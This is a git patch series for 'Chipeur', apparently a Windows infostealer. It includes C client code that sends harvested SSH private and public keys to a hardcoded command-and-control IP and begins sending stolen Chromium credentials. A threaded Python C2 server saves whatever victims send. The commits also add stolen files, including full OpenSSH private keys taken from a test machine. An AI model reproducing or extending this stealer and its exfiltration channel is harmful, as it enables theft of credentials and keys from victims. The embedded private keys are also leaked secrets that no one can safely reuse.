6fa9321..8a0d712 100644 --- a/server/simple_serv.py +++ b/server/simple_serv.py @@ -1,5 +1,6 @@ import socket import os +import time def savefile(username, datatype, filename, client): try : @@ -19,13 +20,18 @@ def savefile(username, datatype, filename, client): print(f"DEBUG: Error while creating the {path} directory. Abort") return - path = username + "/" + datatype + "/" + filename + path = username + "/" + datatype + "/" + str(int(time.time())) + "_" + filename fic = open(path, "w") - ch = client.recv(9).decode() - print(ch) + ch = client.recv(9).decode("utf-8") while ch[-9:] != "[RUEPIHC]": - cur_c = client.recv(1).decode() - ch += cur_c + try: + cur_c = client.recv(1).decode("utf-8") + ch += cur_c + except: + fic.write(ch) + fic.close() + ch = ch[:-9] + print(f"DEBUG: Writing '{path}' file") fic.write(ch) fic.close() @@ -55,23 +61,23 @@ def start_server(host='0.0.0.0', port=1234): client_socket, addr = server_socket.accept() print(f"Connection from {addr}") - chipeur = read_until_next_pipe_UTF16(client_socket) - if chipeur != "[CHIPEUR]": - print("pas chipeur") - client_socket.close() - - username = read_until_next_pipe_UTF16(client_socket) - print(username) + try: + while True: + chipeur = read_until_next_pipe_UTF16(client_socket) + if chipeur != "[CHIPEUR]": + print("pas chipeur") + client_socket.close() - datatype = read_until_next_pipe_UTF16(client_socket) - print(datatype) + username = read_until_next_pipe_UTF16(client_socket) - if datatype == "file": - filename = read_until_next_pipe_UTF16(client_socket) - print(filename) - savefile(username, datatype, filename, client_socket) - client_socket.close() + datatype = read_until_next_pipe_UTF16(client_socket) + if datatype == "file": + filename = read_until_next_pipe_UTF16(client_socket) + savefile(username, datatype, filename, client_socket) + except ConnectionResetError: + print("Client closed the connection") + break if __name__ == "__main__": diff --git a/src/c2.c b/src/c2.c index 1733abc..45d919b 100644 --- a/src/c2.c +++ b/src/c2.c @@ -72,8 +72,8 @@ static PWSTR get_header(void) { DWORD lenMachineName = MAX_COMPUTERNAME_LENGTH + 1; WCHAR userName[UNLEN + 1] = {0}; DWORD lenUserName = UNLEN + 1; - WCHAR fullName[UNLEN + MAX_COMPUTERNAME_LENGTH + 2 + 12] = {0}; - DWORD lenFullName = UNLEN + MAX_COMPUTERNAME_LENGTH + 2 + 12; + WCHAR fullName[UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 12] = {0}; + DWORD lenFullName = UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 12; err = GetComputerNameW(machineName, &lenMachineName); if (err == 0) { @@ -177,7 +177,7 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].publicKeyPath); success = FALSE; } - err = send(*sock, (char *)L"[RUEPIHC]\n", sizeof(WCHAR) * 10, 0); + err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 10, 0); if (err == SOCKET_ERROR) { fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); free(headTypeFname); @@ -210,7 +210,7 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].secretKeyPath); success = FALSE; } - err = send(*sock, (char *)L"[RUEPIHC]\n", sizeof(WCHAR) * 10, 0); + err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 10, 0); if (err == SOCKET_ERROR) { fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); free(headTypeFname); From 65dbeb3b2e3c38718d6a894f5697f51b07b2f7c3 Mon Sep 17 00:00:00 2001 From: GZNOP Date: Tue, 4 Feb 2025 12:20:36 +0100 Subject: [PATCH 08/49] add: c2 working for ssh files --- include/c2.h | 2 +- ...738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 - ...741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 - ...603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 - ...656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 - ...761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 - server/simple_serv.py | 34 +++++++++++++------ ...C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" | 1 + ...919_C:\\Users\\vboxuser\\.ssh\\id_ed25519" | 8 +++++ ...C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" | 1 + ...C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" | 1 + ...637_C:\\Users\\vboxuser\\.ssh\\id_ed25519" | 8 +++++ ...C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" | 1 + ...749_C:\\Users\\vboxuser\\.ssh\\id_ed25519" | 8 +++++ ...C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" | 1 + ...760_C:\\Users\\vboxuser\\.ssh\\id_ed25519" | 8 +++++ src/c2.c | 2 ++ 17 files changed, 64 insertions(+), 16 deletions(-) delete mode 100644 "server/joelm@CACA/file/1738237738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" delete mode 100644 "server/joelm@CACA/file/1738237741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" delete mode 100644 "server/joelm@CACA/file/1738239603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" delete mode 100644 "server/joelm@CACA/file/1738239656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" delete mode 100644 "server/joelm@CACA/file/1738239761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" create mode 100644 "server/vboxuser@CHIPEUR/file/1738665917_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" create mode 100644 "server/vboxuser@CHIPEUR/file/1738665919_C:\\Users\\vboxuser\\.ssh\\id_ed25519" create mode 100644 "server/vboxuser@CHIPEUR/file/1738666582_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" create mode 100644 "server/vboxuser@CHIPEUR/file/1738666635_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" create mode 100644 "server/vboxuser@CHIPEUR/file/1738666637_C:\\Users\\vboxuser\\.ssh\\id_ed25519" create mode 100644 "server/vboxuser@CHIPEUR/file/1738666747_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" create mode 100644 "server/vboxuser@CHIPEUR/file/1738666749_C:\\Users\\vboxuser\\.ssh\\id_ed25519" create mode 100644 "server/vboxuser@CHIPEUR/file/1738666758_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" create mode 100644 "server/vboxuser@CHIPEUR/file/1738666760_C:\\Users\\vboxuser\\.ssh\\id_ed25519" diff --git a/include/c2.h b/include/c2.h index 1eafd78..eadd0d6 100644 --- a/include/c2.h +++ b/include/c2.h @@ -5,7 +5,7 @@ #include "find_ssh_key.h" -#define C2_IP "192.168.1.15" +#define C2_IP "192.168.56.1" #define C2_PORT 1234 BOOL send_ssh_key(sshKey [MAX_KEY_FILES], DWORD32, SOCKET *); diff --git "a/server/joelm@CACA/file/1738237738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738237738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" deleted file mode 100644 index 9ab3b8e..0000000 --- "a/server/joelm@CACA/file/1738237738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/1738237741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738237741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" deleted file mode 100644 index 9ab3b8e..0000000 --- "a/server/joelm@CACA/file/1738237741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/1738239603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738239603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" deleted file mode 100644 index 9ab3b8e..0000000 --- "a/server/joelm@CACA/file/1738239603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/1738239656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738239656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" deleted file mode 100644 index 9ab3b8e..0000000 --- "a/server/joelm@CACA/file/1738239656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/1738239761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738239761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" deleted file mode 100644 index 9ab3b8e..0000000 --- "a/server/joelm@CACA/file/1738239761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git a/server/simple_serv.py b/server/simple_serv.py index 8a0d712..b7db8b3 100644 --- a/server/simple_serv.py +++ b/server/simple_serv.py @@ -2,7 +2,7 @@ import os import time -def savefile(username, datatype, filename, client): +def savefile(username: str, datatype: str, filename: str, client: socket.socket): try : os.mkdir(username) except FileExistsError: @@ -20,7 +20,7 @@ def savefile(username, datatype, filename, client): print(f"DEBUG: Error while creating the {path} directory. Abort") return - path = username + "/" + datatype + "/" + str(int(time.time())) + "_" + filename + path: str = username + "/" + datatype + "/" + str(int(time.time())) + "_" + filename fic = open(path, "w") ch = client.recv(9).decode("utf-8") while ch[-9:] != "[RUEPIHC]": @@ -37,12 +37,23 @@ def savefile(username, datatype, filename, client): -def read_until_next_pipe_UTF16(client): +def read_until_next_pipe_UTF16(client: socket.socket): ch = "" cur_c = "" + attempt = 0 while cur_c != "|": - cur_c = client.recv(2).decode("utf-16") - ch += cur_c + try: + recv = client.recv(2) + cur_c = recv.decode("utf-16") + ch += cur_c + attempt = 0 + except UnicodeDecodeError: + print("DEBUG: read_until_next_pipe_UTF16: UnicodeDecodeError: skipping") + time.sleep(2) + attempt += 1 + if attempt == 3: + print("DEBUG: read_until_next_pipe_UTF16: 3rd time reading fails: exiting") + raise TimeoutError return ch[:-1] def start_server(host='0.0.0.0', port=1234): @@ -64,9 +75,11 @@ def start_server(host='0.0.0.0', port=1234): try: while True: chipeur = read_until_next_pipe_UTF16(client_socket) - if chipeur != "[CHIPEUR]": + print(chipeur) + if "[CHIPEUR]" not in chipeur: print("pas chipeur") client_socket.close() + break username = read_until_next_pipe_UTF16(client_socket) @@ -75,10 +88,11 @@ def start_server(host='0.0.0.0', port=1234): if datatype == "file": filename = read_until_next_pipe_UTF16(client_socket) savefile(username, datatype, filename, client_socket) - except ConnectionResetError: - print("Client closed the connection") - break - + except ConnectionResetError as error: + print(f"DEBUG: Connection closed: {error}") + except TimeoutError as error: + print(f"DEBUG: Connection closed: {error}") + client_socket.close() if __name__ == "__main__": start_server() diff --git "a/server/vboxuser@CHIPEUR/file/1738665917_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" "b/server/vboxuser@CHIPEUR/file/1738665917_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" new file mode 100644 index 0000000..89d89c4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738665917_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSxN2qFD/Ifh7aD5+cATPd7bn8u9m6y vboxuser@Chipeur diff --git "a/server/vboxuser@CHIPEUR/file/1738665919_C:\\Users\\vboxuser\\.ssh\\id_ed25519" "b/server/vboxuser@CHIPEUR/file/1738665919_C:\\Users\\vboxuser\\.ssh\\id_ed25519" new file mode 100644 index 0000000..9fa3df4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738665919_C:\\Users\\vboxuser\\.ssh\\id_ed25519" @@ -0,0 +1,8 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAaO4b+1U +gnAS4HF1gs0sV6AAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSx +N2qFD/Ifh7aD5+cATPd7bn8u9m6yAAAAoAQqRrrjLT3SkvV2T18UysCkn7wSlxOyxe8vep +SHqNIJxH2D8xIajPAVLSaMSgc0SKz5UlLxdIGnoci1teH92ZY4rwqp9pbZP33DrDfYytIa +/ZPZDOBoZDG73mdlFAgLzFmvHX1VmQNNRJOEfaxE4jW8qxxVxUIv/eng/oKiLYRtTDTXnN +vqwJfXKrlySMTSC43ixtp8roxVQ4L4nKdT2rE= +-----END OPENSSH PRIVATE KEY----- diff --git "a/server/vboxuser@CHIPEUR/file/1738666582_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" "b/server/vboxuser@CHIPEUR/file/1738666582_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" new file mode 100644 index 0000000..89d89c4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738666582_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSxN2qFD/Ifh7aD5+cATPd7bn8u9m6y vboxuser@Chipeur diff --git "a/server/vboxuser@CHIPEUR/file/1738666635_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" "b/server/vboxuser@CHIPEUR/file/1738666635_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" new file mode 100644 index 0000000..89d89c4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738666635_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSxN2qFD/Ifh7aD5+cATPd7bn8u9m6y vboxuser@Chipeur diff --git "a/server/vboxuser@CHIPEUR/file/1738666637_C:\\Users\\vboxuser\\.ssh\\id_ed25519" "b/server/vboxuser@CHIPEUR/file/1738666637_C:\\Users\\vboxuser\\.ssh\\id_ed25519" new file mode 100644 index 0000000..9fa3df4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738666637_C:\\Users\\vboxuser\\.ssh\\id_ed25519" @@ -0,0 +1,8 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAaO4b+1U +gnAS4HF1gs0sV6AAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSx +N2qFD/Ifh7aD5+cATPd7bn8u9m6yAAAAoAQqRrrjLT3SkvV2T18UysCkn7wSlxOyxe8vep +SHqNIJxH2D8xIajPAVLSaMSgc0SKz5UlLxdIGnoci1teH92ZY4rwqp9pbZP33DrDfYytIa +/ZPZDOBoZDG73mdlFAgLzFmvHX1VmQNNRJOEfaxE4jW8qxxVxUIv/eng/oKiLYRtTDTXnN +vqwJfXKrlySMTSC43ixtp8roxVQ4L4nKdT2rE= +-----END OPENSSH PRIVATE KEY----- diff --git "a/server/vboxuser@CHIPEUR/file/1738666747_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" "b/server/vboxuser@CHIPEUR/file/1738666747_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" new file mode 100644 index 0000000..89d89c4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738666747_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSxN2qFD/Ifh7aD5+cATPd7bn8u9m6y vboxuser@Chipeur diff --git "a/server/vboxuser@CHIPEUR/file/1738666749_C:\\Users\\vboxuser\\.ssh\\id_ed25519" "b/server/vboxuser@CHIPEUR/file/1738666749_C:\\Users\\vboxuser\\.ssh\\id_ed25519" new file mode 100644 index 0000000..9fa3df4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738666749_C:\\Users\\vboxuser\\.ssh\\id_ed25519" @@ -0,0 +1,8 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAaO4b+1U +gnAS4HF1gs0sV6AAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSx +N2qFD/Ifh7aD5+cATPd7bn8u9m6yAAAAoAQqRrrjLT3SkvV2T18UysCkn7wSlxOyxe8vep +SHqNIJxH2D8xIajPAVLSaMSgc0SKz5UlLxdIGnoci1teH92ZY4rwqp9pbZP33DrDfYytIa +/ZPZDOBoZDG73mdlFAgLzFmvHX1VmQNNRJOEfaxE4jW8qxxVxUIv/eng/oKiLYRtTDTXnN +vqwJfXKrlySMTSC43ixtp8roxVQ4L4nKdT2rE= +-----END OPENSSH PRIVATE KEY----- diff --git "a/server/vboxuser@CHIPEUR/file/1738666758_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" "b/server/vboxuser@CHIPEUR/file/1738666758_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" new file mode 100644 index 0000000..89d89c4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738666758_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSxN2qFD/Ifh7aD5+cATPd7bn8u9m6y vboxuser@Chipeur diff --git "a/server/vboxuser@CHIPEUR/file/1738666760_C:\\Users\\vboxuser\\.ssh\\id_ed25519" "b/server/vboxuser@CHIPEUR/file/1738666760_C:\\Users\\vboxuser\\.ssh\\id_ed25519" new file mode 100644 index 0000000..9fa3df4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738666760_C:\\Users\\vboxuser\\.ssh\\id_ed25519" @@ -0,0 +1,8 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAaO4b+1U +gnAS4HF1gs0sV6AAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSx +N2qFD/Ifh7aD5+cATPd7bn8u9m6yAAAAoAQqRrrjLT3SkvV2T18UysCkn7wSlxOyxe8vep +SHqNIJxH2D8xIajPAVLSaMSgc0SKz5UlLxdIGnoci1teH92ZY4rwqp9pbZP33DrDfYytIa +/ZPZDOBoZDG73mdlFAgLzFmvHX1VmQNNRJOEfaxE4jW8qxxVxUIv/eng/oKiLYRtTDTXnN +vqwJfXKrlySMTSC43ixtp8roxVQ4L4nKdT2rE= +-----END OPENSSH PRIVATE KEY----- diff --git a/src/c2.c b/src/c2.c index 45d919b..eff7668 100644 --- a/src/c2.c +++ b/src/c2.c @@ -184,6 +184,7 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, free(header); return FALSE; } + wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", keysTab[i].publicKeyPath); free(headTypeFname); } // Doing the same but for the secret key filename @@ -217,6 +218,7 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, free(header); return FALSE; } + wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", keysTab[i].secretKeyPath); free(headTypeFname); } } From 84d7ca744d527c1d3d4db9c47755bbf570bef516 Mon Sep 17 00:00:00 2001 From: GZNOP Date: Wed, 5 Feb 2025 14:53:12 +0100 Subject: [PATCH 09/49] add: multithreading to handle multiple client --- server/simple_serv.py | 52 ++++++++++--------- ...C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" | 1 + ...C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" | 1 + ...537_C:\\Users\\vboxuser\\.ssh\\id_ed25519" | 8 +++ 4 files changed, 37 insertions(+), 25 deletions(-) create mode 100644 "server/vboxuser@CHIPEUR/file/1738763501_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" create mode 100644 "server/vboxuser@CHIPEUR/file/1738763535_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" create mode 100644 "server/vboxuser@CHIPEUR/file/1738763537_C:\\Users\\vboxuser\\.ssh\\id_ed25519" diff --git a/server/simple_serv.py b/server/simple_serv.py index b7db8b3..c086f2e 100644 --- a/server/simple_serv.py +++ b/server/simple_serv.py @@ -1,6 +1,7 @@ import socket import os import time +import threading def savefile(username: str, datatype: str, filename: str, client: socket.socket): try : @@ -35,8 +36,6 @@ def savefile(username: str, datatype: str, filename: str, client: socket.socket) fic.write(ch) fic.close() - - def read_until_next_pipe_UTF16(client: socket.socket): ch = "" cur_c = "" @@ -56,6 +55,30 @@ def read_until_next_pipe_UTF16(client: socket.socket): raise TimeoutError return ch[:-1] +def handle_client(client_socket, addr): + print(f"Connection from {addr}") + try: + while True: + chipeur = read_until_next_pipe_UTF16(client_socket) + print(chipeur) + if "[CHIPEUR]" not in chipeur: + print("pas chipeur") + client_socket.close() + break + + username = read_until_next_pipe_UTF16(client_socket) + + datatype = read_until_next_pipe_UTF16(client_socket) + + if datatype == "file": + filename = read_until_next_pipe_UTF16(client_socket) + savefile(username, datatype, filename, client_socket) + except ConnectionResetError as error: + print(f"DEBUG: Connection closed: {error}") + except TimeoutError as error: + print(f"DEBUG: Connection closed: {error}") + client_socket.close() + def start_server(host='0.0.0.0', port=1234): # Create a socket object server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -70,29 +93,8 @@ def start_server(host='0.0.0.0', port=1234): while True: # Accept a connection client_socket, addr = server_socket.accept() - print(f"Connection from {addr}") - - try: - while True: - chipeur = read_until_next_pipe_UTF16(client_socket) - print(chipeur) - if "[CHIPEUR]" not in chipeur: - print("pas chipeur") - client_socket.close() - break - - username = read_until_next_pipe_UTF16(client_socket) - - datatype = read_until_next_pipe_UTF16(client_socket) - - if datatype == "file": - filename = read_until_next_pipe_UTF16(client_socket) - savefile(username, datatype, filename, client_socket) - except ConnectionResetError as error: - print(f"DEBUG: Connection closed: {error}") - except TimeoutError as error: - print(f"DEBUG: Connection closed: {error}") - client_socket.close() + th = threading.Thread(target=handle_client, args=(client_socket, addr)) + th.start() if __name__ == "__main__": start_server() diff --git "a/server/vboxuser@CHIPEUR/file/1738763501_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" "b/server/vboxuser@CHIPEUR/file/1738763501_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" new file mode 100644 index 0000000..89d89c4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738763501_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSxN2qFD/Ifh7aD5+cATPd7bn8u9m6y vboxuser@Chipeur diff --git "a/server/vboxuser@CHIPEUR/file/1738763535_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" "b/server/vboxuser@CHIPEUR/file/1738763535_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" new file mode 100644 index 0000000..89d89c4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738763535_C:\\Users\\vboxuser\\.ssh\\id_ed25519.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSxN2qFD/Ifh7aD5+cATPd7bn8u9m6y vboxuser@Chipeur diff --git "a/server/vboxuser@CHIPEUR/file/1738763537_C:\\Users\\vboxuser\\.ssh\\id_ed25519" "b/server/vboxuser@CHIPEUR/file/1738763537_C:\\Users\\vboxuser\\.ssh\\id_ed25519" new file mode 100644 index 0000000..9fa3df4 --- /dev/null +++ "b/server/vboxuser@CHIPEUR/file/1738763537_C:\\Users\\vboxuser\\.ssh\\id_ed25519" @@ -0,0 +1,8 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAaO4b+1U +gnAS4HF1gs0sV6AAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIC0wZ8hODSnt1tSx +N2qFD/Ifh7aD5+cATPd7bn8u9m6yAAAAoAQqRrrjLT3SkvV2T18UysCkn7wSlxOyxe8vep +SHqNIJxH2D8xIajPAVLSaMSgc0SKz5UlLxdIGnoci1teH92ZY4rwqp9pbZP33DrDfYytIa +/ZPZDOBoZDG73mdlFAgLzFmvHX1VmQNNRJOEfaxE4jW8qxxVxUIv/eng/oKiLYRtTDTXnN +vqwJfXKrlySMTSC43ixtp8roxVQ4L4nKdT2rE= +-----END OPENSSH PRIVATE KEY----- From a60cb98be620798ff922fcd04e9f86e8534a7a67 Mon Sep 17 00:00:00 2001 From: GZNOP Date: Wed, 5 Feb 2025 16:48:09 +0100 Subject: [PATCH 10/49] merging with unstable --- include/logins.h | 1 - 1 file changed, 1 deletion(-) diff --git a/include/logins.h b/include/logins.h index bf2a159..fade3ba 100644 --- a/include/logins.h +++ b/include/logins.h @@ -12,7 +12,6 @@ typedef struct { } Login; // Decrypted `Login` -// mostly used for debug/printing purposes typedef struct { PSTR url; PSTR username; From 80e8f29a3ccbc1c5cf83d6940c7389cae17f3436 Mon Sep 17 00:00:00 2001 From: GZNOP Date: Thu, 6 Feb 2025 15:46:19 +0100 Subject: [PATCH 11/49] current: sending credentials to c2 server --- include/c2.h | 4 ++-- include/chipeur.h | 4 ++-- include/chromium.h | 4 ++-- include/extract_file.h | 4 ++-- include/find_ssh_key.h | 4 ++-- include/logins.h | 2 ++ include/obfuscation.h | 4 ++-- src/c2.c | 21 +++++++++++++++++++++ src/chipeur.c | 12 ++++++++++-- src/chromium.c | 15 +++++++++------ 10 files changed, 54 insertions(+), 20 deletions(-) diff --git a/include/c2.h b/include/c2.h index eadd0d6..0294a60 100644 --- a/include/c2.h +++ b/include/c2.h @@ -1,5 +1,5 @@ -#ifndef _C2 -#define _C2 +#ifndef C2_H +#define C2_H #include #include diff --git a/include/chipeur.h b/include/chipeur.h index cb327e9..1b3d6b7 100644 --- a/include/chipeur.h +++ b/include/chipeur.h @@ -1,4 +1,4 @@ -#ifndef _CHIPEUR -#define _CHIPEUR +#ifndef CHIPEUR_H +#define CHIPEUR_H void hello(void); #endif \ No newline at end of file diff --git a/include/chromium.h b/include/chromium.h index 713e959..ea5df0a 100644 --- a/include/chromium.h +++ b/include/chromium.h @@ -11,8 +11,8 @@ typedef struct { PCWSTR localStatePath; } BrowserInfo; -int steal_chromium_creds(); -static int steal_browser_creds(BrowserInfo browser); +int steal_chromium_creds(Credential *, DWORD32 *); +static int steal_browser_creds(BrowserInfo browser, Credential *, DWORD32 *); static int retrieve_logins(const PWSTR fullPath, int *loginCountOut, Login *loginsOut[]); static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encryptedKeyOut); diff --git a/include/extract_file.h b/include/extract_file.h index 59809e0..6c6ffb0 100644 --- a/include/extract_file.h +++ b/include/extract_file.h @@ -1,5 +1,5 @@ -#ifndef _EXTRACT_FILE -#define _EXTRACT_FILE +#ifndef EXTRACT_FILE_H +#define EXTRACT_FILE_H #include void print_file(const PWSTR); diff --git a/include/find_ssh_key.h b/include/find_ssh_key.h index 2728498..d9bb067 100644 --- a/include/find_ssh_key.h +++ b/include/find_ssh_key.h @@ -1,5 +1,5 @@ -#ifndef _FIND_SSH_KEY -#define _FIND_SSH_KEY +#ifndef FIND_SSH_KEY_H +#define FIND_SSH_KEY_H #include // Max number of possible ssh keys to dump. diff --git a/include/logins.h b/include/logins.h index fade3ba..8536357 100644 --- a/include/logins.h +++ b/include/logins.h @@ -3,6 +3,8 @@ #include +#define CRED_SIZE 32 + // Encrypted credentials typedef struct { PSTR url; diff --git a/include/obfuscation.h b/include/obfuscation.h index def8f16..8b991a1 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -1,4 +1,4 @@ -#ifndef _OBFUSCATION -#define _OBFUSCATION +#ifndef OBFUSCATION_H +#define OBFUSCATION_H void xor_str(char *str, int size); #endif \ No newline at end of file diff --git a/src/c2.c b/src/c2.c index eff7668..66f112e 100644 --- a/src/c2.c +++ b/src/c2.c @@ -11,6 +11,7 @@ #include "find_ssh_key.h" #include "obfuscation.h" #include "extract_file.h" +#include "login.h" BOOL connect_to_c2(SOCKET *sock) { // Create the socket and establish the connection to the C2 server. @@ -225,4 +226,24 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, free(header); return success; 